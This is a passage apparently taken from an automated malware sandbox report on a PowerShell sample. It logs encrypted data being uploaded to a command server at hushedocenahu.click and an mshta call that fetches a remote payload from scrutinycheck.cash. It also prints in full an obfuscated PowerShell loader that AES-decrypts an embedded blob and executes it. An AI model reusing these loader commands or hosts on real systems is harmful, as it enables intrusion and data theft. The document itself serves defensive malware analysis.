cfL4;desc="?proto=TCP&rtt=1938&min_rtt=1933&rtt_var=728&sent=15&recv=27&lost=0&retrans=0&sent_bytes=2846&recv_bytes=21354&delivery_rate=1510605&cwnd=232&unsent_bytes=0&cid=bc99aeef6b39de5a&ts=967&x=0"
2024-12-25 14:10:42 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-25 14:10:42 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49854	104.21.112.1	443	8032	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-25 14:10:43 UTC	276	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=RZOZ3PLVHX User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1197 Host: hushedocenahu.click
2024-12-25 14:10:43 UTC	1197	OUT	Data Raw: 2d 2d 52 5a 4f 5a 33 50 4c 56 48 58 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 37 35 45 38 33 36 43 32 36 37 33 34 32 41 33 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 52 5a 4f 5a 33 50 4c 56 48 58 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 52 5a 4f 5a 33 50 4c 56 48 58 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 79 4a 45 63 61 47 2d 2d 73 69 6e 67 6c 37 0d 0a 2d 2d 52 5a 4f 5a 33 50 4c 56 48 58 0d 0a 43 6f 6e 74 65 6e 74 Data Ascii: --RZOZ3PLVHXContent-Disposition: form-data; name="hwid"875E836C267342A3AC8923850305D13E--RZOZ3PLVHXContent-Disposition: form-data; name="pid"1--RZOZ3PLVHXContent-Disposition: form-data; name="lid"yJEcaG--singl7--RZOZ3PLVHXContent
2024-12-25 14:10:44 UTC	1122	IN	HTTP/1.1 200 OK Date: Wed, 25 Dec 2024 14:10:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=6qvduiil95e856niemvlct2jjv; expires=Sun, 20 Apr 2025 07:57:23 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=G1XZIg33okyu3YiIRKYWKaBpmZi3wvJ1r3Wyxkekm0eVTTXLTuxWT5GaO0S2itM4RoWWmu4PMXroL3aSPCubWI7H31Hr07oXllr%2BDWrJcjoMfecrVv4MA9FZf2IDt52uaoNRPZNK"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f796a902ab20f5b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1656&min_rtt=1650&rtt_var=632&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2846&recv_bytes=2109&delivery_rate=1712609&cwnd=218&unsent_bytes=0&cid=659af063c580da5a&ts=774&x=0"
2024-12-25 14:10:44 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-25 14:10:44 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49860	104.21.112.1	443	8032	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-25 14:10:45 UTC	276	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=BWW3KGT6 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 570992 Host: hushedocenahu.click
2024-12-25 14:10:45 UTC	15331	OUT	Data Raw: 2d 2d 42 57 57 33 4b 47 54 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 37 35 45 38 33 36 43 32 36 37 33 34 32 41 33 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 42 57 57 33 4b 47 54 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 42 57 57 33 4b 47 54 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 79 4a 45 63 61 47 2d 2d 73 69 6e 67 6c 37 0d 0a 2d 2d 42 57 57 33 4b 47 54 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 Data Ascii: --BWW3KGT6Content-Disposition: form-data; name="hwid"875E836C267342A3AC8923850305D13E--BWW3KGT6Content-Disposition: form-data; name="pid"1--BWW3KGT6Content-Disposition: form-data; name="lid"yJEcaG--singl7--BWW3KGT6Content-Disposi
2024-12-25 14:10:45 UTC	15331	OUT	Data Raw: c1 b3 98 87 df d8 79 94 6f 36 e2 f0 37 58 9c 71 f9 ff 8c 00 f2 90 0a 3c f2 db 10 dc 0f e2 0c a9 b9 7e 80 99 cb 07 4e c3 01 91 21 38 ee 51 d9 5a 07 bf 99 fd 98 0d c5 90 95 62 5e 94 2f 7d 76 2d e5 77 de 54 cb 08 04 ed e5 db 73 d6 fa 40 6b db 25 ef e7 71 5e cf ab 45 3c 3d 70 84 36 f1 e6 68 8d 06 2e c7 bd 26 59 2d ff f2 0f fc 40 98 24 ba f5 3e 85 b9 c8 9e f9 f2 d7 b6 76 2c a5 3c 4e c1 3c ef 1b ee 8c 66 7a a3 8f 32 e8 7c 42 0f 7c af 5c ab 24 12 c6 36 73 de 5d 1a b4 6a da c9 ef 41 53 4e 86 98 a4 2c 5f 6d 5f fc 5b 0c 47 24 a8 de 44 2c 4c 48 dc d6 8c 1e 35 95 cb ea 0f 43 e4 4d 2e 5f 07 db 9c ef 96 f6 5f e5 ab fb f8 73 40 d2 d2 08 73 e2 b4 f3 ae 27 a9 a8 ff 50 6c 5d 85 d2 b5 16 6a 06 95 e2 86 7e 23 94 8f 49 f2 39 93 f8 cc ec b4 d6 d5 15 c8 a9 1d 49 ab c2 6b 11 22 Data Ascii: yo67Xq<~N!8QZb^/}v-wTs@k%q^E<=p6h.&Y-@$>v,<N<fz2\|B\|\$6s]jASN,_m_[G$D,LH5CM.__s@s'Pl]j~#I9Ik"
2024-12-25 14:10:45 UTC	15331	OUT	Data Raw: 5e ff d5 ff fa 5b 9b 2a f7 88 9a 9a 42 49 30 54 1c 62 0a 31 66 73 f1 60 db 8e 7f b5 58 6a 5d 04 62 90 fe 3b 72 7d fe 25 48 9a f9 ef 10 eb dc 6c 0d 6f 40 23 21 01 c4 29 f2 ff 35 68 5a aa bf 4f d4 04 22 e0 30 86 77 72 cf ee 3e 20 bd 9f a6 8a c0 f1 f5 eb fb 64 1b 65 92 a1 ea d5 9d 75 fd 72 95 52 60 b1 f1 06 e4 2b fa 2c fd b8 9a 68 fb 47 f4 95 ec fb bc 3d 7f 01 45 30 ae 9e f0 f3 f8 9f b6 82 c8 3a e4 40 8b b7 fe 20 48 c1 65 c6 f8 f4 28 44 0b 47 07 c0 c7 16 54 8a 38 f2 eb ba 1a 9e b8 ab 06 4c c2 6e c2 03 4e 10 11 7c 98 8a 78 4d 2a d0 f2 c8 dd db a0 b3 25 7f 8a 54 3c 5f bb 86 2f 35 49 ef 49 45 8c 94 90 b9 4c 58 09 d8 3b c0 22 26 ee 23 79 73 0a 98 11 48 20 7b f5 78 32 bf 7e 23 5d 02 9a d0 ae 25 37 a8 d7 51 e2 57 91 de b7 12 82 89 97 94 9b e0 a5 12 98 77 56 3d 57 Data Ascii: ^[BI0Tb1fs`Xj]b;r}%Hlo@#!)5hZO"0wr> deurR`+,hG=E0:@ He(DGT8LnN\|xM%T<_/5IIELX;"&#ysH {x2~#]%7QWwV=W
2024-12-25 14:10:45 UTC	15331	OUT	Data Raw: 37 72 d3 00 5d 8d 48 a5 a1 c9 fc 28 5e 25 e0 81 c5 ae 1f d3 b0 54 c1 3b e5 98 60 c1 53 28 1c 71 80 6b 78 70 10 e7 51 a2 f2 62 96 fd d0 e4 23 0f ec 3c f9 f6 cd eb 3f 74 dd 2c e7 87 d0 23 9d 17 e7 00 f1 0a 44 54 18 ca 47 01 d7 b6 82 27 4f e0 52 50 af ff df a9 b5 36 17 ac d5 db f7 eb 0d da 76 e1 fa f5 58 e4 9d d9 6a 5f 5e b3 e2 53 6e d5 5e 18 2f de 15 f9 85 e2 2c 51 3f 4b af 86 80 44 1c e4 36 b9 77 dd 8a 27 40 1e 38 7f 9f 23 45 d4 e0 86 e2 4a 51 bb f2 76 e9 61 bf 4b 08 bc 46 d3 3b 05 c8 ba 2c f5 15 21 8b 5a 52 aa 28 4e 04 bc 11 55 b7 04 99 0d 21 ae 80 30 54 30 37 2c 27 36 52 ad f5 8c a1 2f a4 fe 4f c4 8b 43 a4 16 80 59 44 b3 e3 f4 50 3b c1 c1 c5 9f ee e9 e8 f5 03 fb 77 6f c4 fd 4e a8 21 f3 73 2e 11 0a 9a 96 b2 7d 39 1e 4e ba 58 c2 a6 80 52 43 3c 4e c8 ea ab Data Ascii: 7r]H(^%T;`S(qkxpQb#<?t,#DTG'ORP6vXj_^Sn^/,Q?KD6w'@8#EJQvaKF;,!ZR(NU!0T07,'6R/OCYDP;woN!s.}9NXRC<N
2024-12-25 14:10:45 UTC	15331	OUT	Data Raw: 11 df 3c 22 84 32 ae e0 00 0e 81 67 af 04 66 f5 b9 15 81 40 68 23 b4 90 e1 0f 83 fa a1 91 91 81 70 98 df ba 46 2f 3f c3 a2 a9 31 90 6e 4e fb 7d 82 6c 7a f4 78 78 46 84 76 05 57 c5 1b a1 b0 fa 56 c9 9a 6c 15 70 66 52 1e 22 ba f1 2d 0f 20 f1 88 40 e9 5b be 26 fe 1a 86 6d 91 9a 6b 95 3e 37 49 13 cd 07 24 85 27 9c 8c f5 b9 53 98 33 93 17 f7 af e7 0e a9 63 86 03 1f 0d 0e 07 1f 5b 50 ee 2e 62 b4 6a 8b d9 69 4b 35 2f 04 33 ae 1d 27 8b ad bf d6 b4 1d 96 6f 5d 94 b4 af 0f d3 10 6d 2b e7 84 71 53 04 05 46 82 30 20 18 03 63 6c 83 fe 5d 02 f4 91 05 23 31 60 1b 4d ab 3a 57 ec 14 83 09 47 a4 5b 84 e8 7b d9 35 53 3f 09 8d 4b 15 bc ce 79 1b 8f b6 3f 2f c0 5c 15 3e 68 17 aa ea b7 65 14 eb 98 8b f7 ff 56 51 fc 7f 5f 10 9c 8d 84 47 02 b8 44 45 c6 36 04 1f 53 65 9c ed 0f 95 Data Ascii: <"2gf@h#pF/?1nN}lzxxFvWVlpfR"- @[&mk>7I$'S3c[P.bjiK5/3'o]m+qSF0 cl]#1`M:WG[{5S?Ky?/\>heVQ_GDE6Se
2024-12-25 14:10:45 UTC	15331	OUT	Data Raw: e7 12 96 c2 d6 ba 40 37 87 90 f0 8c e4 c7 57 e2 7d 91 54 03 04 d6 48 c5 af 5b 86 cc af 2e eb 16 8c 21 25 10 a1 da cf 27 40 0c f7 74 41 26 e9 3c 8c 7c be 0b 07 bb 3c aa 07 cc 54 7c 64 79 bb c9 41 d2 39 c0 7e 3f 5b 9c b5 04 52 db 28 15 6b 81 b3 e0 34 98 72 57 14 03 9a 57 4c a9 3b 60 63 50 2b b3 72 e0 81 f2 dd cd 01 5d 0c 11 55 a1 26 e3 9e d7 8b 30 d9 94 31 d6 ad b2 b3 40 fe 0f 0a 98 93 36 ad 69 23 05 ed bb 8e f0 a0 cd 41 09 95 10 6d c2 d0 1c 07 0c e3 e1 16 24 b0 7c 04 77 89 82 dd 65 cb c2 f4 76 e3 5e 71 50 b6 79 7b 6f 00 0a 68 b0 9f 68 22 2a 0b b5 8a 08 d1 73 3a 25 19 50 df c1 f1 62 55 70 9a e1 fe 61 63 fd b0 e3 e0 46 d3 87 94 c3 e3 ec 47 95 29 2a ca d4 2c 83 3f 0a 7d 47 87 c2 7a 44 5b 0f a4 d7 87 51 a8 75 b8 4c db 1f 53 5a 6d 53 2c 1b de 3d b8 6e 2b 4a e8 Data Ascii: @7W}TH[.!%'@tA&<\|<T\|dyA9~?[R(k4rWWL;`cP+r]U&01@6i#Am$\|wev^qPy{ohh"s:%PbUpacFG),?}GzD[QuLSZmS,=n+J
2024-12-25 14:10:45 UTC	15331	OUT	Data Raw: 69 b1 45 16 7e 34 e1 02 53 da b0 4d 11 dc 41 49 70 68 ee 21 20 dd 9c 9a b6 7b fa d6 e5 ba e3 8a 32 e5 8d ba 1a a0 9b 27 08 bf f3 18 3d 8d a6 bf dd 18 b5 cc ed ef 1d e3 ff 6e 0b 7d 51 27 5c e7 0c 91 19 59 01 fc f7 cc 0d fb 91 a4 45 7e be 8f 30 7d de 3a 7c 4f c1 10 f7 2f 1c ef b8 2e 60 c7 28 23 7e 42 7c aa 57 90 6d 0b d8 df 65 89 40 a3 23 77 0f 89 9f 71 98 2b cd ea 52 43 d5 50 5a a0 3e 79 70 e8 23 2e e9 a0 97 a1 76 8f 62 9f 63 d9 8e d0 33 b2 a4 be 09 5c 7a 9d 6e e7 57 ce 50 f9 c1 48 a4 e5 18 a6 ea 01 e9 39 eb a7 d5 95 06 d2 34 2e 7f bb c6 f0 08 92 49 a2 b0 c2 3d 10 da 4d 54 08 45 44 81 13 83 62 b7 ee 5a 8c 1f 15 39 24 7e 74 f5 d9 7c 43 a8 02 c9 ab 49 bb c4 84 c2 0b 0d 5d be 7b f6 b3 2f 63 66 93 b7 96 a0 30 0a 97 41 fe 61 72 86 b3 fb 6e b0 75 73 42 6b 21 be Data Ascii: iE~4SMAIph! {2'=n}Q'\YE~0}:\|O/.`(#~B\|Wme@#wq+RCPZ>yp#.vbc3\znWPH94.I=MTEDbZ9$~t\|CI]{/cf0AarnusBk!
2024-12-25 14:10:45 UTC	15331	OUT	Data Raw: 75 7d 64 b6 93 41 14 00 e5 a5 e3 e5 e5 06 5e 71 00 1f bc a0 5d 1f 2e ed e8 c7 99 ca b8 0c 08 fd 7e c1 e9 6e c6 9f 75 db eb da 8d 8a d7 33 54 b8 32 e7 48 fa 5b f6 96 8b 5a 57 69 dc e0 0f c1 a2 5b ad 5c be 73 6c ed 98 39 24 25 b3 52 65 d3 9e 9d 3e 69 eb 7d 15 e8 d3 d2 8f 66 b4 86 e6 d3 d4 b9 09 c1 bb d2 a7 6c e0 38 f8 6f 4a ff b7 9e c1 9b 86 80 50 00 f5 e0 25 8d 6d 38 c2 c1 ce df d6 c6 3f d0 b3 83 36 5e 17 04 6d 8d 9d e4 54 31 0f ee 20 1f cb ef 62 73 7a 8d 05 62 94 32 07 df cb 01 ad 23 b4 eb 9f d3 72 15 5b 6e 07 68 3f 0e ff 7c c7 f8 96 16 98 2e 89 6a 40 54 7a 9f 38 12 84 89 b2 16 00 b7 50 68 de a5 53 ce 84 49 d1 61 57 29 99 5d 75 f9 5e dd 52 7f 93 3c a5 c6 04 4d ca 30 90 70 bd 01 d8 31 ee 4d fd 0e 90 27 1c 61 2f 0a a8 f9 72 ef 5a 57 95 bd 95 e3 75 5b b1 1b Data Ascii: u}dA^q].~nu3T2H[ZWi[\sl9$%Re>i}fl8oJP%m8?6^mT1 bszb2#r[nh?\|.j@Tz8PhSIaW)]u^R<M0p1M'a/rZWu[
2024-12-25 14:10:45 UTC	15331	OUT	Data Raw: cb e2 0e 1b c2 f5 2d c4 3d 07 b9 63 be a0 5e 9d d1 b7 10 b3 1e 06 d3 e0 d0 0b 8b e1 2a 7d f0 61 d9 96 09 2a 15 3b eb 4f 43 85 e1 20 49 d4 f9 d5 4a 9d 23 61 32 5b a3 81 65 03 dc 1a dd 91 44 42 47 1b e2 52 6f a1 1f df 45 21 90 d4 66 d2 78 7b dd d8 a9 29 30 55 66 4f 31 ca ec 9e 85 f0 86 c4 ea 5e e9 77 05 44 2f 51 61 2d ab be b0 a8 b0 49 dc 3b f3 36 cc 11 37 ad 2b 98 f3 50 ec e2 15 97 08 63 5e 95 7e 37 4b 2f d3 d1 5c 82 3f b7 1f 46 78 4c 27 c7 33 ba eb 37 6b f7 4e f0 1c bb 62 2a 8c 0a a5 ae cf 0c d1 77 c3 4a b3 bc 3a a5 d8 b2 f4 69 37 ed 0c 80 a3 c2 cc d6 bc e1 eb 7a 13 d9 01 f1 9b 56 ba ed d9 0c 29 ce 55 03 ea b5 36 42 57 0f db e3 28 56 57 e1 b2 aa 1e b8 a4 5d 98 36 98 ac 3a ce d4 1f 5f 3f 13 15 1a 20 32 20 94 ac f4 63 e6 a4 89 69 4d a7 c1 4a d8 7f 9b 1a 9e Data Ascii: -=c^}a;OC IJ#a2[eDBGRoE!fx{)0UfO1^wD/Qa-I;67+Pc^~7K/\?FxL'37kNb*wJ:i7zV)U6BW(VW]6:_? 2 ciMJ
2024-12-25 14:10:45 UTC	15331	OUT	Data Raw: b1 dd b2 3f d9 e4 ea d6 8f 67 c2 1a e0 e4 ba 9d 3a ff 67 80 e3 6a 25 2c 11 57 c8 0b 74 d6 6e 7b dd ba eb 7c 94 fa 03 89 f6 ab bd f5 2e 49 0e fc 96 3b a5 8b 7b 5e 27 0e e1 b8 2a 01 55 d2 37 3f aa 24 bc c5 10 6d 6b 50 d8 41 e5 dd e8 63 7b 8d 60 47 48 b6 0a 1c ae bf 9e 16 e6 a6 d2 b8 db 84 f7 f4 e8 bb 4e 7c 5e d4 50 cc fc 55 b3 b4 0e f1 5b 44 a1 cf 0e d4 ae e4 d0 81 3b 72 1b f6 d7 d6 3e 8a e0 b9 2f e8 a2 34 8c e1 21 41 25 c5 04 cb 6c c1 d7 47 b5 3e 45 bf d9 64 1f 29 f6 80 b2 9d bc d4 a5 bd a8 14 17 ec dc 78 b1 f0 5d e7 e6 48 5e 16 86 e3 66 26 3d 8d 81 70 73 ae cd d8 f1 b5 b7 35 d1 47 b0 fa ad dc 4e 27 03 c5 b5 da 38 52 15 1f 3e 31 58 43 af 4d 6c 8e 46 18 36 f9 9b 45 f0 ae ae c8 c7 44 f6 c8 e7 85 35 b1 fc cb b3 4c 8d d1 80 bc 4e 35 e7 13 32 19 ec b5 fd 36 68 Data Ascii: ?g:gj%,Wtn{\|.I;{^'*U7?$mkPAc{`GHN\|^PU[D;r>/4!A%lG>Ed)x]H^f&=ps5GN'8R>1XCMlF6ED5LN526h
2024-12-25 14:10:48 UTC	1131	IN	HTTP/1.1 200 OK Date: Wed, 25 Dec 2024 14:10:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=2n6kn58umhsbsapt60gut5m5ik; expires=Sun, 20 Apr 2025 07:57:26 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=tigvZU%2FFaFtXtfLgmQ0lGJIvSqckMyC4nhu6ZgJUWAagzHYCSmZM8t56zGlYiRtadNz1MqJBDQttuc4X396qKQEHVbx%2B8zpHfZqsh5eYmmlN9WH7LyknVPvOXOnspaQi337ysvSn"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f796a9e1c06729f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1969&min_rtt=1955&rtt_var=743&sent=319&recv=599&lost=0&retrans=0&sent_bytes=2845&recv_bytes=573532&delivery_rate=1493606&cwnd=169&unsent_bytes=0&cid=fd15d1e2778ac860&ts=2268&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49866	104.21.112.1	443	8032	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-25 14:10:49 UTC	267	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 83 Host: hushedocenahu.click
2024-12-25 14:10:49 UTC	83	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 79 4a 45 63 61 47 2d 2d 73 69 6e 67 6c 37 26 6a 3d 26 68 77 69 64 3d 38 37 35 45 38 33 36 43 32 36 37 33 34 32 41 33 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 Data Ascii: act=get_message&ver=4.0&lid=yJEcaG--singl7&j=&hwid=875E836C267342A3AC8923850305D13E
2024-12-25 14:10:50 UTC	1129	IN	HTTP/1.1 200 OK Date: Wed, 25 Dec 2024 14:10:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=vl6bq6c345ac313g4n09fa8tsv; expires=Sun, 20 Apr 2025 07:57:28 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=AWTl45hkLBvU5pekjhfYc2Y2Ck5Y2LJHBbILZ%2FSUUWubrVqt6esFWWR%2BzVsZwdo0UV%2FZuIjyn1xREOEfzZ%2FIj971RHz1OzYIbbQidxij9Bj4ZlTnSDuM7bmw6qDmIRCb6%2FoBXFbv"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f796ab4a87a424b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1614&min_rtt=1601&rtt_var=609&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2846&recv_bytes=986&delivery_rate=1823860&cwnd=248&unsent_bytes=0&cid=dd7c189375b15cea&ts=770&x=0"
2024-12-25 14:10:50 UTC	54	IN	Data Raw: 33 30 0d 0a 71 47 71 4b 76 38 43 76 43 6d 68 70 50 4c 48 59 37 38 79 4e 35 57 2b 45 52 46 4c 6b 33 46 49 32 30 4e 67 64 6c 48 64 7a 75 64 72 7a 4e 77 3d 3d 0d 0a Data Ascii: 30qGqKv8CvCmhpPLHY78yN5W+ERFLk3FI20NgdlHdzudrzNw==
2024-12-25 14:10:50 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	09:08:57
Start date:	25/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\00000.ps1"
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	09:08:58
Start date:	25/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	09:08:59
Start date:	25/12/2024
Path:	C:\Windows\System32\mshta.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\mshta.exe" https://scrutinycheck.cash/singl7.mp4
Imagebase:	0x7ff69ede0000
File size:	14'848 bytes
MD5 hash:	0B4340ED812DC82CE636C00FA5C9BEF2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	09:09:03
Start date:	25/12/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	09:09:04
Start date:	25/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function eSNNy($MAvcZ){return -split ($MAvcZ -replace '..', '0x$& ')};$lqmB = eSNNy('5C3F827BAC65B5D2C8965D0BBCE1ED07B9B6786A8751F026D08EFD0A825F531A8D091C0ECDD11B3934B46C626B865735BAB41B512BE15DE11F5E12515F7078B31EE8399C0E805B1F986B48CD1FE4A4708FA30B93CA4F7E812CA54A8793D62D3598E2B95AF0842B9C9750010609AF477848F4D131B954661400575166055C03EF1B5DE596CF55C542063D3F91CE19CE97925E58F6C32246A890129F4332D50885100C3526774D0074EEC5D7A612D64456E89E2AAD35E8F4DCB634817B8F6E0AC4FA605341C50069355F250ADB57D33D199E78EDCF80294758E47CB522EDFFFE73CC1B919EF16AF41E32F5B6A9BF909AE30CEB1071E2D14015FB77F6298FF2B02FEBA7B2BEE205F03CF88FF6F6BEBEEC0309A6D27D56500B79ADD62DD9D50A9590F07C9425FF02C2062F0E3444952489CE539FE357B044D8F72560487A102CC157F9E4E5B39D9C8DEF45655607C7A2FDB595ECBD612595FE995C4B043F8955A8F51FB018D2638C4F3A04E4CE1F6F77607E28264761F8517127E32F9F8D159565861F352D53ED7157874F263F52A7E1025A408CACC8B208E7F7776300701055FD3D6C30CA49783C822471E5B37491DA64E22ECA5ACEAE2C26465A1465F8774B5536298C89DBC028CD0AE43DBABB7B1179BD528CA17B1C6D0B390408ECE7927FEAA32EA4FAF5B6249A55C0BB8FCE630BBE9577950A1C82CEB3F5B1CC3B4D16D0DD85009C2C1593600E9AD124BD3E71F96E9ECC581D41A94B73C3A20BF4550FA7E08728A080D7A6A09FF218A0A37CDF4EF3F6A50CCC9DDEE0D24287949B372601CA8769A11092428566941E5E81DC734A344A92E5B54939A7B808EA27414A69BECE50356ADA32AF76C66A7EED81FF79A3208EA6CA1E28D54700AB34FB6270B5B4EC13DA50EBF0B9BBAB023861142203272D6112A5A6D9726B68EF794031846478BC822C4C0391F73AD6DD169DCDF33D909E115BCFB9021A0D74ABB583032AC14EDAF563EB221F82DBE70815740F8F4F65B3993B4805F2F8DED176EF03650D5BA2D74E1919BECB701A86B2332083BFBE1C6D8903AB78E68721C77F780C3596EDC51E77');$jAMAa=-join [char[]](([Security.Cryptography.Aes]::Create()).CreateDecryptor((eSNNy('49446F52676D7356434761614A6E6878')),[byte[]]::new(16)).TransformFinalBlock($lqmB,0,$lqmB.Length)); & $jAMAa.Substring(0,3) $jAMAa.Substring(129)
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	09:09:05
Start date:	25/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
